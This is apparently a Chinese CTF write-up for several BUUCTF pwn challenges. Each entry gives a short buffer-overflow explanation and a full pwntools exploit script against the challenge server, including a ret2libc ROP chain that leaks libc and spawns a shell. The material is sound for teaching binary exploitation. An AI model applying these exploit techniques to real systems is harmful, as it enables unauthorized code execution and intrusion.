pwn難啊
1、test_your_nc
測試你nc,不用說,連上就有。
2、rip
ida中已經包含了system函數:
溢出,覆蓋rip為fun函數,peda計算偏移為23:
from pwn import * #context.update(arch = 'i386', os = 'linux', timeout = 1) p = remote('node3.buuoj.cn',27146) #p = process('./pwn1') flag_addr = 0x40118A payload = 0xf*'a' +'a'*8 + p64(flag_addr) #print p.recv() p.sendline(payload) p.interactive()
3、warmup_csaw_2016
ida中,可以看到,存在溢出
使用peda計算偏移為72

from pwn import * #context.update(arch = 'i386', os = 'linux', timeout = 1) p = remote('node3.buuoj.cn',29050) #p = process('./warmup_csaw_2016') catflag_addr = 0x40060d payload = 'A'*72 + p64(catflag_addr) #print p.recv() p.sendline(payload) p.interactive()
4、pwn1_sctf_2016
先check一下文件
文件開啟了NX。使用ida查看:
程序功能:將輸入的所有的‘I’轉化為you,然后輸出“So,[輸入]”
在fgets處,對輸入的s進行了限制,不能溢出。但是在strcpy函數中,未對s進行限制,v0對輸入的I進行變換后:V0長度=I的個數*3。
輸入的I的長度最多為32,那么V0最長為32*3=96,遠大於3C(60),可以進行溢出,需要3C+4 = 64位 = 21個‘I’ + 1個‘A’

from pwn import * #context.update(arch = 'i386', os = 'linux', timeout = 1) p = remote('node3.buuoj.cn',29641) #p = process('./pwn1_sctf_2016') #p = remote('xxxxx',xxxx) catflag_addr = 0x8048f0d payload = 21*'I' +'A'+ p32(catflag_addr) #print p.recvuntil('yourself:') p.sendline(payload) p.interactive()
5、ciscn_2019_c_1
先check一下,開啟了Nx和Relro
ida中為找到system函數和‘/bin/sh’等字符,需要利用ROP和LibcSearcher庫查找libc
在encrypt()函數中發現gets函數,這個是一個溢出點
可以通過溢出puts函數,泄露出puts函數的地址,找到libc,計算出system和'/bin/sh'的地址,然后執行system(‘/bin/sh’)
注意encryt()函數會修改我們的payload,所以第一位用'\0'避開。
偏移為:0x50+8

1 #!python 2 #coding:utf-8 3 4 from pwn import * 5 from LibcSearcher import * 6 7 context.log_level = 'debug' 8 context.arch = 'amd64' 9 10 elf = ELF('./ciscn_2019_c_1') 11 puts_got = elf.got['puts'] 12 puts_plt = elf.plt['puts'] 13 main_addr = elf.sym['main'] 14 ret = 0x4006b9 15 pop_rdi = 0x400c83 16 sh = 0 17 lib = 0 18 19 20 def main(ip,port,debug): 21 global sh 22 global lib 23 if debug == 1: 24 sh = process('./ciscn_2019_c_1') 25 else: 26 sh = remote(ip,port) 27 28 sh.sendlineafter('choice!\n','1') 29 payload = '\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr) 30 sh.sendlineafter('encrypted\n',payload) 31 sh.recvline() 32 sh.recvline() 33 puts = u64(sh.recvuntil('\n')[:-1].ljust(8,'\0')) 34 libc = LibcSearcher('puts',puts) 35 libcbase = puts - libc.dump('puts') 36 binsh = libcbase + libc.dump('str_bin_sh') 37 sys_addr = libcbase + libc.dump('system') 38 sh.sendlineafter('choice!\n','1') 39 payload2 = '\0'+'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr) 40 sh.sendlineafter('encrypted\n',payload2) 41 sh.interactive() 42 43 if __name__ == '__main__': 44 45 main('node3.buuoj.cn',27020,0)
6、ciscn_2019_n_1
先check一下,開啟了NX和RELRO
查看字符串,能看到,或許是和flag相關
可以看到危險函數gets,存在溢出,可以通過v1覆蓋v2的值從而執行system函數獲取flag
通過跟隨。可以知道11.28125地址為:0x41348000,偏移為:0x2c

from pwn import * #context.update(arch = 'i386', os = 'linux', timeout = 1) p = remote('node3.buuoj.cn',26929) #p = ('./ciscn_2019_n_1') v2_addr = 0x41348000 payload = 0x2c*'a' + p64(v2_addr) print p.recv() p.sendline(payload) p.interactive()
7、ciscn_2019_en_2
同上5